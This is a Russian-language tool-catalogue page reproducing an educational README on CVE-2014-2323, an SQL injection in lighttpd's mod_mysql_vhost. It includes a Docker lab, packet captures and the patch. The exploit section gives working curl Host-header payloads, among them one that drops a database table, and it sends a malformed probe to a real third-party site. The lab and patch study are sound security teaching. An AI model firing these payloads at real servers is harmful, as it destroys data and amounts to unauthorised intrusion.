Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
lighty-sqlinj-demo — Образовательная демонстрация эксплуатации SQL-инъекции CVE-2014-2323 в mod_mysql_vhost веб-сервера lighttpd, с лабораторной средой на базе Docker для практического анализа уязвимости и её устранения. | Kitploit
Инструменты/GitHubGitHub/cirocosta/lighty-sqlinj-demo
Безопасность контейнеровАнализ уязвимостейЭксплуатация веб-приложенийОбучение и ОбразованиеЛаборатории и Практика
GitHubcirocosta/lighty-sqlinj-demo

lighty-sqlinj-demo

Образовательная демонстрация эксплуатации SQL-инъекции CVE-2014-2323 в mod_mysql_vhost веб-сервера lighttpd, с лабораторной средой на базе Docker для практического анализа уязвимости и её устранения.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
8110 лет назадЕщё не проверено

title: Ep4 - Уязвимость, связанная с сетями members:

  • Ciro S. Costa
  • Marcela Terakado date: 10 Nov, 2015

Связанная уязвимость:

root@kitploit:~
CVE-2014-2323 [1] was assigned to SQL injection bug.
CVE-2014-2324 [2] was assigned to the path traversal bug.

Подтверждение: http://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt

  • Затронутая версия: 1.4.34

Презентация

  • Объяснить уязвимость
    • представить сервис, который будет эксплуатироваться
    • где в исходном коде находится уязвимость
    • патч исправления уязвимости
  • Подготовить демо с эксплойтом
    • Эксплойт
    • Применить исправление уязвимости
    • Попробовать эксплуатировать снова
  • lighttpd (lighty)
  • Виртуальный хостинг
    • Подготовка сервера Lighttpd
  • SQL
    • SQL-инъекция
  • Docker
    • Сетевое взаимодействие контейнеров
  • Демо!
    • Эксплойт
    • Проверка пути

lighttpd (lighty)

Эксплуатируемый сервис — Lighttpd. Это веб-сервер с открытым исходным кодом (лицензия BSD), оптимизированный для лёгкости и скорости. Он появился как «proof-of-concept» знаменитой проблемы c10k (как справиться с 10 000 одновременных соединений на сервере) и приобрёл большую популярность в то время (2003); сейчас используется Whatsapp.com, Xkcd, а в прошлом — Youtube. Его позиция на рынке довольно интересна, как можно увидеть на графике:

Позиционирование Lighttpd — трафик и количество веб-сайтов

Сервер стремится решить проблему большого числа соединений с помощью асинхронных механизмов на основе событий (kqueue в BSD, epoll в Linux), снижая потребность во множестве потоков, что приводит к гораздо меньшему «следу» в памяти и лучшему использованию CPU (стратегия также применяется серверами Nginx, чьё использование значительно выросло с годами):

Рынок серверов

Одна из особенностей lighty — простое управление виртуальными хостами.

Виртуальный хостинг

Это метод, используемый для размещения нескольких доменных имён, которые разрешаются в один и тот же IP, что снижает затраты на хостинг для компаний, предлагающих веб-сайты, поскольку не нужно резервировать выделенный сервер для каждого сайта.

Метод может быть основан на IP (отдельный интерфейс для каждого хоста) или на имени (одно имя для каждого хоста при совместном использовании интерфейса) — рассматривается в этой презентации.

Name-Based

: использует «Hostname», предоставленный клиентом, чтобы определить, какой сервис использовать для ответа. Этот метод имеет две сложности: проблемы с безопасными сеансами (TLS) — рукопожатие должно выполняться до любой передачи заголовка, указывающего серверу Host, что усложняет определение того, какой сертификат предъявить при рукопожатии. Одно из решений этой проблемы — расширение TLS под названием Server Name Indication (SNI), которое позволяет передавать имя в начале рукопожатия, давая возможность выбрать правильный сертификат. Вторая проблема касается попытки соединения без корректно заданного заголовка Host, что приводит к неопределённости используемого сервиса.

Виртуальный хост - redes.io Виртуальный хост - mac0448.io

IP-Based

: использует отдельные IP-адреса для каждого приложения. Веб-сервер настраивается на несколько физических сетевых интерфейсов (или виртуальных на одном интерфейсе) и отвечает соответствующим образом в зависимости от IP-адреса (назначения).

IP aliasing позволяет создавать виртуальные интерфейсы для каждого сервиса.

В случае крупной компании управление таким сопоставлением может стать сложным в зависимости от числа клиентов. Lighty, как мы покажем далее, поддерживает использование базы данных для этой цели.

Сначала посмотрим, как «вручную» настроить сервер, а затем добавить vhosting.

Подготовка сервера Lighttpd

Подготовить базовый сервер lighttpd очень просто. Достаточно установить его и создать файл конфигурации, который определяет используемый порт, как отвечать на определённые запросы и другие настройки.

Можно подготовить пример конфигурации, которая обрабатывает только запросы статических файлов (.html или .txt):

root@kitploit:~
server.document-root = "/usr/lighttpd/mysite.com/"
server.port = 80

mimetype.assign = (
  ".html" => "text/html",
  ".txt" => "text/plain"
)

Представьте, что мы хотим создать бизнес по продаже сайтов и предоставляем покупателю собственный домен. Желая минимизировать расходы, мы хотим использовать vhosts для каждого клиента. Скажем, курс сетевой дисциплины хочет приобрести три веб-сайта: redes.io, mac0448.io и mac5910.io. Наша компания регистрирует домены, все они указывают на IP нашего единственного сервера с одним интерфейсом.

Прим.: чтобы это смоделировать, можно изменить файл /etc/hosts:

root@kitploit:~
172.17.0.2 redes.io
172.17.0.2 mac0448.io
172.17.0.2 mac5910.io

Чтобы обслуживать разные сайты клиентов, разрешая их с одного IP, мы можем вручную настроить сервер:

root@kitploit:~
server.document-root = "/usr/lighttpd/default/"
server.port = 80

mimetype.assign = (
  ".html" => "text/html",
  ".txt" => "text/plain"
)

$HTTP["host"] == "redes.io" {
  server.document-root = "/usr/lighttpd/redes/"
} else $HTTP["host"] == "mac0448.io" {
  server.document-root = "/usr/lighttpd/mac0448/"
} else $HTTP["host"] == "mac5910.io" {
  server.document-root = "/usr/lighttpd/mac5910/"
}

Но, как можно представить, это становится проблемой, когда мы хотим работать со многими клиентами и предоставлять разные конфигурации каждому сайту, как упоминалось ранее.

С помощью модуля mod_mysql_vhost мы можем подключить наш сервер к базе данных mysql, отвечающей за такое сопоставление. Мы указываем имя базы данных, как найти её в нашей сети и какую команду использовать для поиска.

root@kitploit:~
server.modules = (
	"mod_accesslog",
	"mod_mysql_vhost"
)

mysql-vhost.db		= "NOME_DO_BANCO"
mysql-vhost.user	= "USUARIO"
mysql-vhost.pass	= "SENHA"

(!!!!!!!!!!!!!!!)
mysql-vhost.sql		= "SELECT docroot FROM domains WHERE domain='?';"
(!!!!!!!!!!!!!!!)

mysql-vhost.hostname	= "HOSTNAME"
mysql-vhost.port	= "PORTA"

SQL

SQL — это декларативный язык для управления реляционными базами данных, используемый (...) и т.д.

TODO

  • SELECT
  • INSERT
  • UPDATE
  • DELETE
  • DROP
  • (...)

TODO

Проблемы возникают из-за того, что системы управления базами данных, использующие SQL, предполагают, что вводимые команды известны администратору и хорошо им управляются. Это предположение не всегда верно, поскольку ошибки в системах, взаимодействующих с СУБД, могут приводить к сбоям, особенно в вебе, где велико взаимодействие с пользователем.

SQL-инъекция

Проблема с SQL-командами возникает, когда команды начинают строить из текста, введённого пользователем, будь то имя пользователя, пароль или любое другое динамическое содержимое.

(TODO)

Как решить? Экранированием.

В нашей конфигурации, например, есть большая брешь:

root@kitploit:~
mysql-vhost.sql		= "SELECT docroot FROM domains WHERE domain='?';"

поскольку возможно (и так было до версии 1.4.34) ? может быть заменён любой командой и затем выполнен MySQL.

Давайте смоделируем это в сети с 3 контейнерами: один сервер mysql и два сервера lighttpd — один уязвимый и один исправленный.

Docker

Docker предоставляет уровень абстракции поверх операционной системы, который обеспечивает виртуализацию без необходимости в другой ОС за счёт механизмов изоляции, предоставляемых ядром, таких как cgroups (изоляция использования CPU, ввода-вывода, памяти и сетевых ресурсов для набора процессов) и namespaces (), устраняя тем самым все издержки запуска и поддержки виртуальной машины. Таким образом, достигается значительная оптимизация выделения ресурсов (например, 100 виртуальных машин с образами по 1 ГБ ==> 100 ГБ. 100 контейнеров из одного образа 1 ГБ ==> ~1 ГБ.) и совместное использование вычислений, как и самого ядра и операционной системы. Общие для контейнеров файлы также могут совместно использоваться через многослойную файловую систему.

Docker против VM

Интересная аналогия для namespaces — chroot, который позволяет процессу воспринимать каталог как корень всей своей файловой системы, меняя его представление о системе (не затрагивая остальную систему). С помощью namespaces мы можем создать такое иное представление для различных других аспектов ОС, таких как дерево процессов, сетевые интерфейсы, ФС, IPC и другие.

(подробнее: Separation Anxiety: A Tutorial for Isolating Your System with Linux Namespaces)

Следует учитывать, что иногда пользователь не хочет такого совместного использования и слабой изоляции.

Сетевое взаимодействие контейнеров

При загрузке демона Docker на хосте настраивается виртуальный интерфейс docker0; выбирается подсеть, не используемая хостом, и интерфейсу назначается свободный IP. Напомним, что можно использовать один из трёх диапазонов:

root@kitploit:~
   The Internet Assigned Numbers Authority (IANA) has reserved the
   following three blocks of the IP address space for private internets:

     10.0.0.0        -   10.255.255.255  (10/8 prefix)
     172.16.0.0      -   172.31.255.255  (172.16/12 prefix)
     192.168.0.0     -   192.168.255.255 (192.168/16 prefix)

На моей машине, например:

root@kitploit:~
docker0   Link encap:Ethernet  HWaddr 02:42:58:ca:78:6d  
          inet addr:172.17.0.1  Bcast:0.0.0.0  Mask:255.255.0.0
          inet6 addr: fe80::42:58ff:feca:786d/64 Scope:Link
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:74601 errors:0 dropped:0 overruns:0 frame:0
          TX packets:98561 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:4196391 (4.1 MB)  TX bytes:380442767 (380.4 MB)

Для каждого контейнера, созданного с настройками сети по умолчанию, демон настраивает интерфейс на хосте (в примере ниже — verth5998947 для контейнера 1) (часть подсети docker0) и другой интерфейс в контейнере (eth0), а также изменяет конфигурацию iptables (позволяет администратору определять таблицы цепочек правил для обработки пакетов на хосте) и NAT, чтобы внешний трафик направлялся в контейнеры.

Интерфейсы с docker

Демо

Демонстрация зависит от окружения с корректно настроенным docker на машине Linux. После этого нужно создать образ:

root@kitploit:~
$ ./scripts/create-lighty-image.sh

Приведённая выше команда создаст образ на основе файла Dockerfile, содержащего исходный код обеих версий lighttpd: уязвимой и с исправленной ошибкой.

После этого можно запустить контейнеры, которые будут представлять вычислительные экземпляры, участвующие в демо, и базу данных, также изолированную как контейнер:

root@kitploit:~
$ ./scripts/create-mysql-container.sh
$ ./scripts/create-lighty-container.sh vulnerable
$ ./scripts/create-lighty-container.sh patched

В результате получаем:

  • сервер mysql, слушающий порт 3306 контейнера lighty-mysqlserver.
  • сервер lighty, слушающий порт 80 контейнера lighty-vulnerable.
  • сервер lighty, слушающий порт 80 контейнера lighty-patched.

Контейнеры

Чтобы получить IP-адреса контейнеров, достаточно выполнить команду:

root@kitploit:~
$ ./scripts/getips.sh

Docker container ip Addresses:
 - lighty-vulnerable:  172.17.0.3
 - lighty-patched:  172.17.0.4
 - lighty-mysqlserver: 172.17.0.2

«Предполагаемые машины» готовы, осталось только настроить DNS, чтобы разрешение адресов выполнялось корректно. В этот момент можно было бы создать ещё один контейнер, посвящённый разрешению DNS-запросов с помощью сервера BIND, но для ускорения можно просто отредактировать /etc/hosts:

root@kitploit:~
172.17.0.3 redes.io
172.17.0.3 mac0448.io
172.17.0.3 mac5910.io

Теперь нужно, чтобы сервер lighttpd мог выполнять виртуальный хостинг с использованием сервера mysql. Для этого нужно вставить записи в базу данных, чтобы наши серверы могли обрабатывать запросы в соответствии с БД (при использовании скриптов выше нет необходимости выполнять процедуру ниже — скрипт уже инициализирует таблицу):

root@kitploit:~
$ docker exec -it lighty-mysqlserver bash
root@lighty-mysqlserver:/# mysql -u root -p
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| lighttpd           |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
mysql> use lighttpd;
mysql> mysql> CREATE TABLE domains(
    -> domain varchar(64) not null primary key,
    -> docroot varchar(128) not null
    -> );
Query OK, 0 rows affected (0.04 sec)

mysql> INSERT INTO domains VALUES ('redes.io', '/usr/lighttpd/redes/');
mysql> INSERT INTO domains VALUES ('mac5910.io', '/usr/lighttpd/mac5910/');
mysql> INSERT INTO domains VALUES ('mac0448.io', '/usr/lighttpd/mac0448/');

mysql> SELECT * FROM domains;
+------------+------------------------+
| domain     | docroot                |
+------------+------------------------+
| mac0448.io | /usr/lighttpd/mac0448/ |
| mac5910.io | /usr/lighttpd/mac5910/ |
| redes.io   | /usr/lighttpd/redes/   |
+------------+------------------------+

С этого момента серверы могут выполнять виртуальный хостинг на основе базы данных.

Эксплойт

Атака заключается в эксплуатации ошибки на этапе разбора заголовка Host, отправляемого в HTTP-запросах с Host типа IPv6. Метод, отвечающий за разбор, позволяет считывать и интерпретировать как часть хоста и другие символы. Проблема в том, что, как показано ранее, в команде поиска виртуального хоста строка хоста подставляется вслепую (без экранирования) в SQL-команду:

root@kitploit:~
mysql-vhost.sql		= "SELECT docroot FROM domains WHERE domain='QUALQUER_COISA_QUE_VENHA_NO_HOST';"

Корректный запрос даёт следующий поток пакетов, когда мы «нюхаем» стандартный интерфейс docker0, через который проходят все пакеты между контейнерами:

Поток пакетов  Ok

Разберём каждый компонент потока:

Корректно сформированный HTTP-запрос HTTP-запрос Ok

Корректно сформированный MySQL-запрос MySQL-запрос Ok

Ответ MySQL Ответ MySQL Ok

Ответ HTTP Ответ HTTP Ok

Затем мы можем эксплуатировать эту уязвимость.

С помощью curl можно формировать вредоносные запросы, как описано в подтверждении CVE.

root@kitploit:~
$ ./scripts/exploit1
curl --header "Host: []' SINTAXE ERRADA" redes.io

Ошибка сервера

Мы ясно видим, что есть уязвимость, которую можно эксплуатировать, поскольку внутренней ошибки сервера не должно быть. Протестируем тот же скрипт на сервере Google:

root@kitploit:~
$ ./scripts/exploit2
curl --header "Host: []' SINTAXE ERRADA" www.google.com

<html><title>Error 400 (Bad Request)!!1</title></html>% 

Подтверждаем, что можем эксплуатировать базу данных, анализируя запрос, сделанный к БД:

Некорректно сформированный MySQL-запрос Некорректный MySQL-запрос

Ответ MySQL Ответ на некорректный MySQL-запрос

Теперь можно перейти к разрушительным командам!

root@kitploit:~
$ ./scripts/exploit3
curl --header "Host: []'; DROP TABLE domains;--'" redes.io

Вредоносный HTTP-запрос Вредоносный HTTP-запрос

Вредоносный MySQL-запрос Вредоносный MySQL-запрос

Ответ MySQL Ответ на вредоносный MySQL-запрос

И таблицы больше нет! Следовательно, сервер не сможет разрешать виртуальные хосты, кроме настроенного по умолчанию.

Проверка исправления

Поскольку наша база данных потеряла таблицу виртуальных хостов, нужно её восстановить. Для этого достаточно выполнить внутри контейнера процесс создания таблицы и вставки значений:

root@kitploit:~
$ docker exec $DOCKER_MYSQL "bash" "-c" "mysql -u root -ptoor lighttpd < /db-init.sql"

Можно убедиться, что патч решает проблему, снова попытавшись выполнить атаку (теперь на исправленный сервер):

root@kitploit:~
```sh
$ ./scripts/exploit4

curl --header "Host: []'; DROP TABLE domains;--'" redes.io
root@kitploit:~

Затем мы выполняем вредоносный HTTP-запрос:

**Вредоносный HTTP-запрос к исправленному серверу**
![Вредоносный HTTP-запрос к исправленному серверу](https://assets.kitploit.com/production/public/readmes/23922/5c20653e70b34784c2ed799ed7ee94dea9e3c40fe4fc9e732cb1391b61b9232d.png)

Но посмотрим на поток пакетов в сети:

**Поток пакетов**
![Поток пакетов - исправленный сервер](https://assets.kitploit.com/production/public/readmes/23922/516bd27dae074c02c8641eb4d861299e0207243f2ad112228999faf60efd2e6a.png)

Как видно, поскольку пакет вредоносный, сервер сразу возвращает ошибку неверного формата запроса и не обращается к базе данных.

### Патч

Уязвимость проявляется в двух частях кода: в модуле `mod_mysql_vhost` (который в любом случае не должен интерпретировать переданное в этой части запроса как допустимую команду) и в обработке запросов `request.c`.

#### `mod_mysql_vhost.c`

В модуле решение проблемы простое: достаточно включить процедуру *экранирования*, предоставляемую MySQL; тогда, даже если будет вставлена вредоносная команда, с сервером ничего не случится (поскольку MySQL сообщит об ошибке).

![Патч модуля](https://assets.kitploit.com/production/public/readmes/23922/959aadd55f7d3a3d7178f140ca50c1a06dfa51f13057add7c53be2dfbc03fac2.png)

#### `request.c`

В коде запроса есть обработка случая, когда после IPv6-адреса строка не заканчивается (то есть не содержит `\0`). До этого сервер мог корректно определять, является ли имя хоста допустимым по грамматике (в том числе принимая случаи, когда вместе с адресом передаётся порт), но когда порт не передавался (после допустимого IPv6) остаток строки после закрывающей скобки (которая указывает конец адреса) не удалялся.

Таким образом:

![Патч request.c](https://assets.kitploit.com/production/public/readmes/23922/0668f226032ba5da5d2b801123733f3e519b282e815b28ef4900d3a010243d02.png)

проверяется этот случай.

> Коммиты:
> - исправленная версия: 1.4.35 - d1a23569161148f5acde8d4a6fb78c44284e1853 
> - неисправленная версия: 1.4.32 - 3ca6adc2332be2ca18b66698a759fae5831f164f

## Ресурсы

- http://www.linuxjournal.com/content/concerning-containers-connections-docker-networking
- http://lighttpd.net/
Скачать инструмент